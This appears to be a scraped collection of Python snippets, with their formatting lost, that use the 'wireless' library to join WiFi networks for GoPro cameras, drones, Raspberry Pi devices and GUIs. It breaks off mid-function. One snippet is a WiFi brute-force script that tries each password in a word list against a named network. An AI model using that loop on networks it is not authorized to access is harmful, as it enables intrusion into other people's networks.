def Connect(): #Conectar a una red option=raw_input("\n Desea Conectarse a alguna red? \n s=Si n=No \n" ) yes= "s" or "S" no= "n" or "N" if option == yes: ssid=raw_input("\n Ingrese el SSID de la red\n") password=raw_input("\n Contrasenna\n") from wireless import Wireless wireless = Wireless() wireless.connect(ssid=ssid, password=password) if wireless : print "\n Conexion establecida" else: print "\n No se pudo conectar a la red, verifique el SSID y la contrasena ingresada" elif option==no: pass else: print "\n Ingrese una opcion correcta" Connect()
def iBot(i): wireless = Wireless(['wlan0']) link="https://rajayalla98.pythonanywhere.com/get" if i == 9: if wireless.connect(ssid='I-Bot', password='******'): time.sleep(100) print wireless.current() response = urllib2.urlopen('http://11.11.11.11/') html = response.read() humidity,temperature = html.split("....") print humidity,temperature return temperature,humidity else: print "Did not connect" return [tem,hum] elif i == 19: if wireless.connect(ssid='Dont ask me', password='******'): data = {'temperature':tem,'humidity':hum} time.sleep(10) print wireless.current() requests.get(link,params=data) return [tem,hum] else: print "Did not connect" return [tem,hum] else: print "in loop" return [tem,hum]
def connect_wifi(wifi='WIFI'): """ Connect WiFi network Args: wifi (str) WIFI or GOPRO, indicate wich wifi use. Returns: Void Raises: idk yet. """ from wireless import Wireless W = Wireless() W.interface() if wifi == 'WIFI': W.connect(ssid=_.WIFI_SSID, password=_.WIFI_PASS) elif wifi == 'GOPRO': W.connect(ssid=_.GOPRO_WIFI, password=_.GOPRO_PASS) else: print('No option!') return False
def main(): wireless = Wireless() print("Switching to GoPro SSID={}...".format(Config.GoPro.SSID)) wireless.connect(ssid=Config.GoPro.SSID, password=Config.GoPro.SSID_PASS) print("Connected to GoPro SSID") sleep(2) # sleep since it takes time for network connection to establish print("Connecting to GoPro...") gopro = GoProCamera.GoPro() print("GoPro connected") print("Downloading media...") media = gopro.downloadAll(media_type=Config.MEDIA_TYPE, dest_folder=Config.MEDIA_DEST_FOLDER) print("Download complete") if (Config.GoPro.is_power_off_when_done): print("Powering off GoPro...") gopro.power_off() print("GoPro powered off") print("Switching to Home SSID={}...".format(Config.HomeNetwork.SSID)) wireless.connect(ssid=Config.HomeNetwork.SSID, password=Config.HomeNetwork.SSID_PASS) print("Connected to Home SSID") sleep(2) print("Starting upload to Google Photos...") googlephotos.upload_folder(os.path.abspath(Config.MEDIA_DEST_FOLDER), album=Config.GooglePhotos.DEST_ALBUM, auth_file=Config.GooglePhotos.CREDENTIALS_PATH) print("Upload to Google Photos complete")
def showImage(self): data = self.lineEdit.text() text = self.comboBox.currentText() wireless = Wireless() wireless.connect(ssid=text,password=data) self.stackedWidget.setCurrentIndex(1) #p = Process(target=self.serverthread,args=()) #p.start() start_new_thread(self.serverthread,()) self.stop_thread_signal.connect(self.changeDisplay)
def main(): wireless = Wireless() while(True): if wireless.current() == ssid: print "Already connected to {0}".format(ssid) break while wireless.current() != ssid: print "Connecting..." wireless.connect(ssid=ssid, password=password) if wireless.current() == ssid: print "Connected to: {0}".format(ssid) break
def authenticateWifi(ssid, password): signal.signal(signal.SIGALRM, handler) signal.alarm( 20) #Set the parameter to the amount of seconds you want to wait try: #RUN CODE HERE wireless = Wireless() wireless.connect(ssid, password) except: pass #print(2) signal.alarm(20) #Resets the alarm to 30 new seconds signal.alarm(0) #Disables the alarm
class Network: def __init__(self): self.network = Wireless() self.networkLock = threading.Lock() self.defaultNetwork = config.getDefaultNetwork() def connect(self, ssid, pw, lock=True): if lock == True: self.networkLock.acquire() if self.network.current() != ssid: if timed(lambda: self.network.connect(ssid=ssid, password=pw), 8) == False: raise NetworkError(ssid) else: if ssid != self.network.current(): raise NetworkError(ssid) def disconnect(self): self.networkLock.release() def connectToDefault(self): self.network.connect(ssid=self.defaultNetwork[0], password=self.defaultNetwork[1]) def getSSIDList(self): try: ssids = [] nmc = NMClient.Client.new() devs = nmc.get_devices() for dev in devs: if dev.get_device_type() == NetworkManager.DeviceType.WIFI: for ap in dev.get_access_points(): ssids.append(ap.get_ssid()) except: pass return ssids def isGoPro(self, ssid): lettersMatched = 0 matchWord = 'gopro' for char in ssid: if char.lower() == matchWord[lettersMatched]: lettersMatched += 1 if lettersMatched == len(matchWord): return True return False
def network_connect(): print "connecting to ssid: Ashwin" wireless = Wireless() res = wireless.connect(ssid='Ashwin', password='') if not res: print "error connectingi to Ashwin..." print "connected. continue..."
def actionOk(self, event): password = self.linkField.GetValue() print WIFI+password wireless = Wireless() retorno=wireless.connect(ssid="%s" % WIFI, password="******" % password) if retorno==True : self.GetParent().Destroy() else: self.GetParent().ChangePanel() print retorno
def measure_once(): for SSID in SSIDS: device_start_ts = time.time() # Connect device to access point wireless = Wireless() ap_start_ts = time.time() wireless.connect(SSID, PASSWORD) ap_stop_ts = time.time() # Connect client to node s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket_start_ts = time.time() s.connect((TCP_IP, TCP_PORT)) socket_stop_ts = time.time() send_start_ts = time.time() s.send(MESSAGE) send_stop_ts = time.time() device_stop_ts = time.time() s.close() ap_delay_ms = (ap_stop_ts - ap_start_ts) * 1000 socket_delay_ms = (socket_stop_ts - socket_start_ts) * 1000 send_delay_ms = (send_stop_ts - send_start_ts) * 1000 device_delay_ms = (device_stop_ts - device_start_ts) * 1000 print("AP " + SSID + ": start: " + str(ap_start_ts)) print("AP " + SSID + ": stop: " + str(ap_stop_ts)) print("AP " + SSID + ": delay: " + str(ap_delay_ms)) print("Socket " + SSID + ": start: " + str(socket_start_ts)) print("Socket " + SSID + ": stop: " + str(socket_stop_ts)) print("Socket " + SSID + ": delay: " + str(socket_delay_ms)) print("Send " + SSID + ": start: " + str(send_start_ts)) print("Send " + SSID + ": stop: " + str(send_stop_ts)) print("Send " + SSID + ": delay: " + str(send_delay_ms)) print("Device " + SSID + ": start: " + str(device_start_ts)) print("Device " + SSID + ": stop: " + str(device_stop_ts)) print("Device " + SSID + ": delay: " + str(device_delay_ms)) ap_measurements.append(ap_delay_ms) socket_measurements.append(socket_delay_ms) send_measurements.append(send_delay_ms) device_measurements.append(device_delay_ms)
def send_alert(message=' ⚠️ *Error* al conectarse con la GoPro', telf=_.DEFAULT_TELF): from twilio.rest import Client from wireless import Wireless from util import _constants as _ w = Wireless() w.interface() wf = w.connect(ssid=_.WIFI_SSID, password=_.WIFI_PASS) client = Client(account_sid, auth_token) message = client.messages.create(from_='whatsapp:+14155238886', body=message, to='whatsapp:{}'.format(telf)) print(message.sid)
def drone_connect(): print "connecting to drone..." wireless = Wireless() res = wireless.connect(ssid='ardrone2_047592', password='') if not res: print "error connecting..." return print "connected. starting telnet" HOST = "192.168.1.1" tn = telnetlib.Telnet(HOST) command = 'killall udhcpd; iwconfig ath0 mode managed essid "Ashwin"; ifconfig ath0 192.168.43.50 netmask 255.255.255.0 up;' tn.write(command) tn.write("exit\n")
def announce_ip(): index = 0 wireless = Wireless() while index < 200: print '++ attempting to announce ip: {}'.format(index) try: ip_address = get_ip() current_connection = wireless.current() print '++ found ip_address: {}'.format(str(ip_address)) print '++ found current_connection: {}'.format(str(current_connection)) routes = subprocess.check_output('route -n', shell=True) print '++ routes' print routes print '++ endroutes' if ip_address: slack_notify_message('@channel: its pi: {} | {}'.format(str(ip_address), str(current_connection))) break # else try to connect if USE_PYTHON_TO_CONNECT: print '++ trying to connect' connected = wireless.connect(ssid=SECRETS_DICT['WIFI_SSID'], password=SECRETS_DICT['WIFI_PASSWORD']) if not connected: print ':-( failed to connect' else: print ':) connected' except Exception as e: print ':/ error: {}'.format(str(e.message)) pass index += 1 time.sleep(1) # after we have connected, log some info about the connection if LOG_DETAILED_INFO: try: print '++++ logging detailed info' ifconfig = subprocess.check_output('ifconfig', shell=True) print 'ifconfig: {}'.format(ifconfig) iwget = subprocess.check_output('iwgetid', shell=True) print 'iwget: {} | {}'.format(iwget, get_ip()) except Exception as e: print 'warning: failed to log detailed info: {}'.format(e.message)
def exit_handler(): curses.flushinp() curses.echo() curses.endwin() print '\rDisconnected.' sys.stdout.flush() wireless.connect(ssid='ASGARD', password='******') if __name__ == '__main__': global FWD, BACK, LEFT, RIGHT, CTRL print "\rConnecting to 'EXPLORER'...", sys.stdout.flush() wireless = Wireless() ret = wireless.connect(ssid='EXPLORER', password='******') if ret == False: print "failed" sys,exit() print "done" s = None try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except socket.error: print '\rFailed to create socket' sys.exit() curses.initscr() curses.noecho()
def check_root(): if not os.geteuid() == 0: print("Run as root.") exit(1) def application(): ssid_list = [] check_root() for cell in wifi.Cell.all('wlan0'): ssid = cell.ssid ssid_list.append(ssid) cont = 0 print('Redes Wi-Fi disponiveis:') for ssid_names in ssid_list: print('(', cont, '): ', ssid_names) cont = cont + 1 if __name__ == '__main__': application() SSID_connect = input('Entre com o nome da rede Wi-Fi (SSID): ') PASSWORD_connect = input('Entre com a senha da rede Wi-Fi (Password): ') wireless = Wireless() wireless.connect(ssid=SSID_connect, password=PASSWORD_connect)
port_number = 80 result = parser.read(configPath) if len(result) == 1 and parser["APP_CONFIG"].get("AppConnected") == "True": filePath = parser["CLOUD_CONFIG"].get("SFP") os.environ["GOOGLE_APPLICATION_CREDENTIALS"] = os.path.abspath(filePath) wifi_ssid = parser["APP_CONFIG"].get("SSID") logged_url = parser["APP_CONFIG"].get("CameraURL") logged_name = parser["APP_CONFIG"].get("CameraName") print("Configuration Loaded ...\nChecking Internet connection") wireless = Wireless() if wireless.current() != wifi_ssid: wireless.connect(ssid=wifi_ssid, password=parser["APP_CONFIG"].get("PSK")) print("Connecting to {} ".format(wifi_ssid), end=".") wifi_connection_init = time.time() while wireless.current() != wifi_ssid: if time.time() - wifi_connection_init: print( "Cannot connect to {} \nSetup failed...Program Exitted". format(wifi_ssid), end=".", ) exit() print(end=".") continue # delay added due to dns resolution issues print("Waiting for DNS resolution") time.sleep(10)
class ServerBrain: def __init__(self, socket=None): self.socket = socket #used to switch connection self.connectionManager = Wireless() #array of drone initializer self.drones = {'Solo Gold': None, 'Solo Green': None} ''' This method returns a list that contains the name of the drones in the system ''' def getDroneNames(self): droneList = list() for drone in self.drones: droneList.append(drone) return droneList ''' This method is used for creating an instance of the class Drone. ''' def connectDrone(self, droneName): ''' Trying to find a free network for the drone ''' interface, network = self.__getNetwork__(droneName, 'drone') if (interface, network) == (False, False): return droneName + " network is not reacheable" else: infosToReturn = {} self.drones[droneName] = Drone(droneName, interface, network) try: self.drones[droneName].connect() infosToReturn['drone status'] = 'available' infosToReturn['home location'] = self.drones[ droneName].getCurrentLocation() infosToReturn['drone battery'] = self.drones[ droneName].getBattery() infosToReturn['camera status'] = 'available' return infosToReturn except Exception as e: print "Error on establishing a connection with the " + droneName #raise return "timeout expired" ''' This method assigns the locations to reach to the Solo passed as parameter. ''' def buildPath(self, droneName, locationsToReach): ''' algorithm for building a path for droneName ''' self.drones[droneName].buildListOfLocations(locationsToReach) return { 'drone': droneName, 'locations to reach': self.drones[droneName].serializeListOfLocationsToReach() } def buildRandomPath(self, droneInvolved): if self.drones[droneInvolved] is None: return "ERROR" import randomflytry randomSurveyLocation = randomflytry.randMissionRead('randMission.txt') locations = [] for location in randomSurveyLocation['picList']: ''' location is a mission class instance. I can access to the single location values in a simple way: - location.latitude - location.longitude - location.altitude ''' locations.append({ "latitude": location.latitude, "longitude": location.longitude, "altitude": location.altitude }) pass self.drones[droneInvolved].buildListOfLocations(locations) return {'drone': droneInvolved, 'locations': locations} ''' This method generates the points inside the rectangular area delimited by the 3 points sent by client. If the 3 points are perfectly put from client, this method will return all the points to client and moreover it will assing these points to each Solo involved in the survey. Otherwise it will notify the client of the possibile errors it has got. ''' def buildRectangularSurveyPointsReal(self, data): points = data['locationsList'] altitude = points[0]['altitude'] involvedDrones = data['drones'] #check if involved drones are connected for drone in involvedDrones: if self.drones[drone] == None: missionDivisionData = { 'response': 'Connection Error', 'body': 'You need to be connected with the drones involved in the rectangular survey' } return missionDivisionData pointsNewFormat = [] import rectPlan for point in points: pointsNewFormat.append( rectPlan.latlon(point['latitude'], point['longitude'])) result = rectPlan.rectMission(pointsNewFormat[0], pointsNewFormat[1], pointsNewFormat[2], altitude) if result == 'Bad': return result #print "Result: ", result['picList'] droneList = [] for drone in data['drones']: droneList.append(drone) location = self.drones[drone].getCurrentLocation() droneList.append(location['latitude']) droneList.append(location['longitude']) missionDivisionData = rectPlan.missionDivision(result, droneList) missionDivisionData = rectPlan.serializeMissionData( missionDivisionData) ''' Assign locations to reach to each involved drone ''' if missionDivisionData['response'] == 'Good' or missionDivisionData[ 'response'] == 'Warn': #filling the locationsToReach array for each involved drone for UAVInfo in missionDivisionData['UAVs']: drone = UAVInfo['name'] self.drones[drone].buildListOfLocations(UAVInfo['points']) return missionDivisionData ''' Same of precedent method but cheating... ''' def buildRectangularSurveyPointsCheating(self, data): points = data['locationsList'] altitude = points[0]['altitude'] involvedDrones = data['drones'] #check if involved drones are connected for drone in involvedDrones: if self.drones[drone] == None: missionDivisionData = { 'response': 'Connection Error', 'body': 'You need to be connected with the drones involved in the rectangular survey' } return missionDivisionData pointsNewFormat = [] import rectPlan for point in points: pointsNewFormat.append( rectPlan.latlon(point['latitude'], point['longitude'])) result = rectPlan.rectMission(pointsNewFormat[0], pointsNewFormat[1], pointsNewFormat[2], altitude) if result == 'Bad': return result #print "Result: ", result['picList'] droneList = [] for drone in data['drones']: droneList.append(drone) location = self.drones[drone].getCurrentLocation() droneList.append(location['latitude']) droneList.append(location['longitude']) missionDivisionData = rectPlan.missionDivisionCheating( result, droneList, data['total']) #missionDivisionData = rectPlan.missionDivision(result, droneList) missionDivisionData = rectPlan.serializeMissionData( missionDivisionData) #dataToReturn is required for keeping data on missionDivisionData correct. In fact with the modify of "completed" field in eache UAVInfo object, #the risk is that client could not understand which points to show. File will be modified with the missionDivisionData updated for each drone("completed" key's value). dataToReturn = missionDivisionData ''' Assign locations to reach to each involved drone ''' if missionDivisionData['response'] == 'Good' or missionDivisionData[ 'response'] == 'Warn': #filling the locations to reach array for each drone involved UAVInfo = missionDivisionData['UAVs'] for index in xrange(0, len(UAVInfo)): drone = UAVInfo[index]['name'] #if drone has already a filled list of locations to reach, I need to go ahead #otherwise I need to understand if the mission has been already completed and if not I can assign points to the associated drone and set the key "completed" to True if self.drones[drone] is not None: if self.drones[drone].listOfLocationsToReach is None: self.drones[drone].buildListOfLocations( UAVInfo[index]['points']) UAVInfo[index]['to complete'] = True else: print "This drone has already locations to reach" missionDivisionData['UAVs'] = UAVInfo file = open("oldSurvey.txt", "w") file.write(str(missionDivisionData)) file.close() return dataToReturn ''' This method allows to upload the points to reach by the Solos from a file where there is a dictionary with a particular structure. The structure of the dictionary is: missionDivisionData = { 'response' : 'Good|Warm|Error', 'UAVs' : [ { 'name' : '..', 'points' : [loc1, loc2, ...], 'to complete' : True|False, 'completed' : True|False }, { 'name' : '..', 'points' : [loc1, loc2, ...], 'to complete' : True|False, 'completed' : True|False }] } As you can see the dictionary contains information about the last multiple flight that has involved multiple Solos. This method searches for that element of the array in missionDivisionData['UAVs'] that belongs to a connected Solo and that has key 'to complete' set to True. Once it finds the element of the array, it will upload the points in the key 'points' to the current listOfLocationsToReach associated to the current Solo. After the uploading (that can involve multiple Solos), this method will update the file with the new information about the old survey. ''' def checkOldSurvey(self): #taking information about old survey not completed missionDivisionData = (open("oldSurvey.txt", "r").read()) if len(missionDivisionData) == 0: return "No old survey to end" missionDivisionData = eval(missionDivisionData) #dataToReturt is required for keeping data on missionDivisionData correct. In fact with the modify of "completed" field in eache UAVInfo object, #the risk is that client could not understand which points to show. File will be modified with the missionDivisionData updated for each drone("completed" key's value). dataToReturn = missionDivisionData UAVInfo = missionDivisionData['UAVs'] for index in xrange(0, len(UAVInfo)): drone = UAVInfo[index]['name'] #if drone has already a filled list of locations to reach, I need to go ahead #otherwise I need to understand if the mission has been already completed and if not I can assign points to the associated drone and set the key "completed" to True if self.drones[drone] is not None: if self.drones[drone].listOfLocationsToReach is not None: print drone + " has already locations to reach" else: print drone + " has an empty list of locations" if UAVInfo[index]['completed'] == False: self.drones[drone].buildListOfLocations( UAVInfo[index]['points']) UAVInfo[index]['to complete'] = True else: print "This set of points has been completed" missionDivisionData['UAVs'] = UAVInfo file = open("oldSurvey.txt", "w") file.write(str(missionDivisionData)) file.close() return dataToReturn ''' This method creates a thread for a drone's flight. ''' def takeAFlight(self, drone): if self.drones[ drone] is not None and self.drones[drone].firstFlight is False: print drone + " has already had a flight, for the next flight I need to clear its memory.." self.drones[drone].cleanTheMemory() # we use the singleFlightWithTheUsingOfSolosMemory for the random flight eventlet.spawn( self.drones[drone].singleFlightWithTheUsingOfSolosMemory, self.connectionManager, self.socket) ''' This method allows the drone to have an oscillation flight. ''' def takeAnOscillationFlight(self, drone): data = self.drones[drone].oscillationFlight() return data ''' This method starts the rectangular survey flight creating threads for each Solo involved. ''' def takeARectangularFlight(self): #I need to be sure that the memory has been cleaned for drone in self.drones: if self.drones[drone] is not None and self.drones[ drone].firstFlight is False: print drone + " has already had a flight, for the next flight I need to clear its memory.." self.drones[drone].cleanTheMemory() for drone in self.drones: if self.drones[drone] is not None: if len(self.drones[drone].listOfLocationsToReach) > 0: print "launching the thread for " + drone + " for having a flight." eventlet.spawn( self.drones[drone].flightWithTheUsingOfSolosMemory, self.connectionManager, self.socket) eventlet.sleep(15) #time.sleep(10) ''' This method is used for building the wifi network name the drone will connect to. ''' def __getNetworkName__(self, type, drone): color = drone.split( )[1] # I've just taken the drone color from drone name(ex:'Solo Gold') if type == "drone": print "Drone setting network" wifiNetwork = "SoloLink_" + color + "Drone" return wifiNetwork ''' This method is designed in order to get network interface value and wifi network name for the Solo. ''' def __getNetwork__(self, drone, type): wifiNetwork = self.__getNetworkName__(type, drone) print wifiNetwork '''This for-loop checks if this network is already connected ''' for interface in self.connectionManager.interfaces(): self.connectionManager.interface(interface) print self.connectionManager.current() if self.connectionManager.current() == wifiNetwork: print "You are already connected to this network, ", wifiNetwork self.connectionManager.connect(ssid=wifiNetwork, password="******") return self.connectionManager.interface( ), self.connectionManager.current() print self.connectionManager.current() '''This for-loop checks if this network has not a connection yet ''' for interface in self.connectionManager.interfaces(): self.connectionManager.interface(interface) if self.connectionManager.current() == None: print "I've just found one free antenna ready to be connected" if self.connectionManager.connect(ssid=wifiNetwork, password="******"): return self.connectionManager.interface( ), self.connectionManager.current() else: '''This could be possible if the network is not available ''' print "Network not available" return False, False print "I haven't found a free antenna for your connection... sorry, ", wifiNetwork return False, False def closeBrain(self): for drone in self.drones: if self.drones[drone] is not None: print "closing connection with the vehicle of " + drone self.drones[drone].vehicle.close() self.drones[drone] = None
def wififinal(ssid): pygame.init() #---------------DISPLAY------------------ screen = pygame.display.set_mode((480, 320), FULLSCREEN) pygame.display.set_caption("Swoosh") #--------------IMAGENES------------------ fondo = pygame.image.load("images/ajustes/wifipass.png") botonsalir = pygame.image.load("images/ajustes/salir.png") botonsalir2 = pygame.image.load("images/ajustes/salir2.png") botonconectar = pygame.image.load("images/ajustes/conectar.png") botonconectar2 = pygame.image.load("images/ajustes/conectar2.png") #------------.VARIABLES------------------- fuentewifi = pygame.font.Font(None, 30) fuentessid = fuentewifi.render(ssid, 0, (255, 255, 255)) cursorw = cursor() botonsalirfin = botonsalir2 botonconectarfin = botonconectar2 tamletra = len(ssid) marcador = True ciclo = True #------------TECLADO--------------------- layout = VKeyboardLayout(VKeyboardLayout.AZERTY) #tipo de teclado keyboard = VKeyboard(screen, consumer, layout) #teclado keyboard.enable() while ciclo == True: screen.blit(fondo, (0, 0)) keyboard.draw() for event in pygame.event.get(): keyboard.on_event(event) #Eventos de teclado if event.type == pygame.KEYDOWN: #--Boton atras-- if event.key == pygame.K_RIGHT: marcador = True botonconectarfin = botonconectar botonsalirfin = botonsalir2 #--Boton conectar-- if event.key == pygame.K_LEFT: marcador = False botonconectarfin = botonconectar2 botonsalirfin = botonsalir #--Ingresar a conectar-- if event.key == pygame.K_RETURN and marcador == True: print("conectar") print(ssid, str(keyboard.buffer)) wireless = Wireless() wireless.interface() wireless.connect(ssid=str(ssid), password=str(keyboard.buffer)) #--Ingresar a salir-- if event.key == pygame.K_RETURN and marcador == False: ciclo = False if event.type == QUIT: pygame.quit(0) sys.exit() #----------Actualizaciones en pantalla--------- screen.blit(fuentessid, (235 - (tamletra * 5), 15)) fuente1 = fuentewifi.render(str(keyboard.buffer), 0, (255, 255, 255)) screen.blit(fuente1, (140, 60)) screen.blit(botonsalirfin, (0, 0)) screen.blit(botonconectarfin, (0, 0)) pygame.display.update() reloj.tick(fps)
print "Error processing command %s. Status code: %s" % (url, resp.status_code) error_count += 1 if error_count > MAX_ERRORS: print "Too many errors exiting" # Raise some kind of alert return False else: error_count = 0 return True except: print "Network exception. Error opening url %s" % url return False while True: wireless.connect(ssid=GOPRO_NETWORK, password=PASSWORD) # camera on if not run_command(CAMERA_ON): wireless.connect(ssid=UPLOAD_NETWORK, password=PASSWORD) break # Wait for camera to turn on print "Waiting to power on" time.sleep(5) # Turn on camera mode run_command(CAMERA_PHOTO_MODE_ON) time.sleep(1) # Set camera resolution to medium run_command(CAMERA_RESOLUTION_MEDIUM) time.sleep(1) # Take a photo
class GoProProxy: maxRetries = 3 # init def __init__(self, log_level=logging.INFO): # setup log log_file = '/var/log/gopro-proxy.log' log_format = '%(asctime)s %(message)s' logging.basicConfig(format=log_format, level=log_level) # file logging fh = logging.FileHandler(log_file) fh.setLevel(log_level) fh.setFormatter(logging.Formatter(log_format)) logger = logging.getLogger() logger.setLevel(log_level) logger.addHandler(fh) # setup camera self.camera = GoProHero() self.snapshots = os.environ.get('GOPRO_SNAPSHOTS', True) # setup wireless interface = os.environ.get('GOPRO_WIFI_INTERFACE', None) self.wireless = Wireless(interface) # connect to the camera's network def connect(self, camera): func_str = 'GoProProxy.connect({}, {})'.format( camera.ssid, camera.password) # jump to a new network only if needed if self.wireless.current() != camera.ssid: self.wireless.connect( ssid=camera.ssid, password=camera.password) # evaluate connection request if self.wireless.current() == camera.ssid: # reconfigure the password in the camera instance self.camera.password(camera.password) logging.info('{}{}{}'.format(Fore.CYAN, func_str, Fore.RESET)) return True else: logging.info('{}{} - network not found{}'.format( Fore.YELLOW, func_str, Fore.RESET)) return False # send command def sendCommand(self, command): result = False # make sure we are connected to the right camera if self.connect(command.camera): # try to send the command, a few times if needed i = 0 while i < self.maxRetries and result is False: result = self.camera.command(command.command, command.value) i += 1 else: # mini-status update if we couldn't connect command.camera.last_attempt = timezone.now() command.camera.summary = 'notfound' # did we successfully talk to the camera? self.updateCounters(command.camera, result) command.camera.save() # save result command.time_completed = timezone.now() command.save() # get status def getStatus(self, camera): # make sure we are connected to the right camera camera.last_attempt = timezone.now() connected = self.connect(camera) # could we find the camera? if connected: # update counters camera.last_update = camera.last_attempt self.updateCounters(camera, True) # try to get the camera's status status = self.camera.status() camera.summary = status['summary'] # extend existing status if possible if camera.status != '': # allows us to retain knowledge of settings when powered off try: old_status = json.loads(camera.status) if old_status != '': old_status.update(status) status = old_status except ValueError: logging.info('{}{} - existing status malformed{}'.format( Fore.YELLOW, 'GoProProxy.getStatus()', Fore.RESET)) # save status to camera camera.status = json.dumps(status) # grab snapshot when the camera is powered on if self.snapshots is True and 'power' in status \ and status['power'] == 'on': camera.save() image = self.camera.image() if image is not False: camera.image = image camera.image_last_update = camera.last_attempt else: # update counters self.updateCounters(camera, False) # update status camera.summary = 'notfound' # save result camera.save() def updateCounters(self, camera, success): camera.connection_attempts += 1 if success is not True: camera.connection_failures += 1 # main loop def run(self): logging.info('{}GoProProxy.run(){}'.format(Fore.GREEN, Fore.RESET)) logging.info('Wifi interface: {}, wifi driver: {}'.format( self.wireless.interface(), self.wireless.driver())) logging.info('Attempt snapshots: {}'.format(self.snapshots)) # keep running until we land on Mars # keep the contents of this loop short (limit to one cmd/status or one # status) so that we can quickly catch KeyboardInterrupt, SystemExit while 'people' != 'on Mars': # PRIORITY 1: send command for the current network on if possible commands = Command.objects.filter( time_completed__isnull=True, camera__ssid__exact=self.wireless.current()) if len(commands) > 0: self.sendCommand(commands[0]) # get the status now because it is cheap if self.wireless.current() == commands[0].camera.ssid: self.getStatus(commands[0].camera) # PRIORITY 2: send the oldest command still in the queue else: commands = Command.objects.filter( time_completed__isnull=True).order_by('-date_added') if len(commands) > 0: self.sendCommand(commands[0]) # get the status now because it is cheap if self.wireless.current() == commands[0].camera.ssid: self.getStatus(commands[0].camera) # PRIORITY 3: check status of the most stale camera else: cameras = Camera.objects.all().order_by('last_attempt') if len(cameras) > 0: self.getStatus(cameras[0]) # protect the cpu in the event that there was nothing to do time.sleep(0.1)
#!/usr/bin/env python3 # A WiFi BruteForce script # You will need a Pass.txt and SSID WiFi # CyberSamurai DK from wireless import Wireless wire = Wireless() with open('pass.txt', 'r') as file: for line in file.readlines(): if wire.connect(ssid='NAME OF WIFI', password=line.strip()) == True: print('[+] (^‿^) Connection ' + line.strip() + ' - Success!') else: print('[-] (-_-) Connection ' + line.strip() + ' - FAILS!')
''' wifi.py Various wifi scripts that are useful https://pypi.org/project/wireless/ https://github.com/joshvillbrandt/wireless ''' from wireless import Wireless # connect to wireless network wireless = Wireless() ssid = 'I_am_cool' password = '******' wireless.connect(ssid='ssid', password='******') # various things you can get print(wireless.current()) print(wireless.interfaces()) print(wireless.interface()) print(wireless.power()) print(wireless.driver())
class ServerBrain: def __init__(self, socket = None): self.socket = socket self.dronesName = ["Solo Gold", "Solo Green"] self.wifiConnections = { 'Solo Gold' : ['SoloLink_gold', 'sololinkmst'], 'Solo Green' : ['SoloLink_MST', 'sololinkmst'] } #used to switch connection self.conn = Wireless() #array of drones initializer self.drones = { 'Solo Gold' : drone.Drone('Solo Gold', self.wifiConnections['Solo Gold']), 'Solo Green' : drone.Drone('Solo Green', self.wifiConnections['Solo Green']) } def getDistanceMeters(firstLocation, secondLocation): latitude = float(secondLocation.lat) - float(firstLocation.lat) longitude = float(secondLocation.lon) - float(firstLocation.lon) return math.sqrt((latitude*latitude) + (longitude*longitude))*1.113195e5 def switchConnection(self, droneName): print "I'm going to switch WiFi connection, ", droneName return self.conn.connect(ssid=self.drones[droneName].wifiConnection[0], password=self.drones[droneName].wifiConnection[1]) def connectDrone(self, droneName): if self.conn.current() != self.wifiConnections[droneName]: if self.switchConnection(droneName) == False: #self.conn.power(False) #this command sets off the WiFi antenna return droneName + " netwotk is not reacheble" self.drones[droneName].connect() location = self.drones[droneName].getActualLocation() return location def activateThread(self, functionName, name, listOfLocations): if functionName == "flight": eventlet.spawn(self.flight, listOfLocations, name) def arm(self, name): print "Arming... ", name self.switchConnection(name) self.drones[name].vehicle = connect('udpout:10.1.1.10:14560', wait_ready=True) print "Current WiFi network: ", self.conn.current() print "Vehicle of " + name + " is: ", self.drones[name].vehicle is not None print name + " is armable: ", self.drones[name].vehicle.is_armable while not self.drones[name].vehicle.is_armable: print "Waiting for vehicle to initialise..", name self.drones[name].vehicle.mode = VehicleMode("GUIDED") self.drones[name].vehicle.armed = True print name + " armed: ", self.drones[name].vehicle.armed while not self.drones[name].vehicle.armed: print "Waiting for arming ", name time.sleep(1) print "I finish the arm function execution and I'm ready to take off, ", name def flight(self, listOfLocations, name): print "I'm " + name + " and I'm inside flight function" self.arm(name) targetAltitude = 2 self.drones[name].vehicle.simple_takeoff(targetAltitude) eventlet.sleep(5) while True: print "I'm trying to understand if I reach the target altitude ", name eventlet.sleep(3) self.switchConnection(name) message = {"reached": False , "altitude": self.drones[name].vehicle.location.global_relative_frame.alt, "name" : name} if self.drones[name].vehicle.location.global_relative_frame.alt >= targetAltitude*0.95: message = {"reached": True , "altitude": targetAltitude, "name" : name} self.drones[name].vehicle.mode = VehicleMode('RTL') self.socket.emit('Altitude Reached', message) if message["reached"] == True: break eventlet.sleep(3) self.drones[name].buildListOfLocations(listOfLocations) for locationToReach in listOfLocations: eventlet.sleep(3) self.switchConnection(name) #self.drones[name].vehicle = connect('udpout:10.1.1.10:14560', wait_ready=True) print "Location to reach for " + name + " is ", locationToReach soloCurrentLocation = vehicle.location.global_relative_frame targetDistance = self.getDistanceMeters(soloCurrentLocation, locationToReach) self.drones[name].vehicle.simple_goto(locationToReach) eventlet.sleep(2) while True: self.switchConnection(name) soloCurrentLocation = self.drones[name].vehicle.global_relative_frame remainingDistance = self.getDistanceMeters(soloCurrentLocation, targetDistance) socketio.emit('Update Live Location', { "name": name, "status": "flying", "latitude" : soloCurrentLocation.lat, "longitude" : soloCurrentLocation.lon, "altitude" : soloCurrentLocation.alt, }) if remainingDistance <= targetDistance * 0.05: #here the code for taking picture socketio.emit('Update Live Location', { "name": name, "status": "reached" }) break eventlet.sleep(2) #self.drones[name].vehicle = connect('udpout:10.1.1.10:14560', wait_ready=True) self.drones[name].vehicle.mode = VehicleMode('RTL')
class ConnectToSSID: def __init__(self, ssid, password): self.ssid = ssid self.password = password self.wireless = Wireless() self.system = platform.system() def connect(self): if self.system == 'Linux': self.connect_linux() if self.system == 'Darwin': self.connect_osx() if self.system == 'Windows': self.connect_windows() def connect_linux(self): while(True): if self.wireless.current() == self.ssid: print "Already connected to {0}".format(self.ssid) break while self.wireless.current() != self.ssid: print "Connecting..." self.wireless.connect(ssid=self.ssid, password=self.password) if self.wireless.current() == self.ssid: print "Connected to: {0}".format(self.ssid) break def get_mac_address(self): ifname = 'wlan0' s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15])) return ':'.join(['%02x' % ord(char) for char in info[18:24]]) def connect_osx(self): reload(sys) sys.setdefaultencoding('utf8') ssid_osx = self.ssid.replace (" ", "\ ") while(True): if self.wireless.current() == self.ssid: print "Already connected to {0}".format(self.ssid) break while(True): if self.find_ssid() == True: print 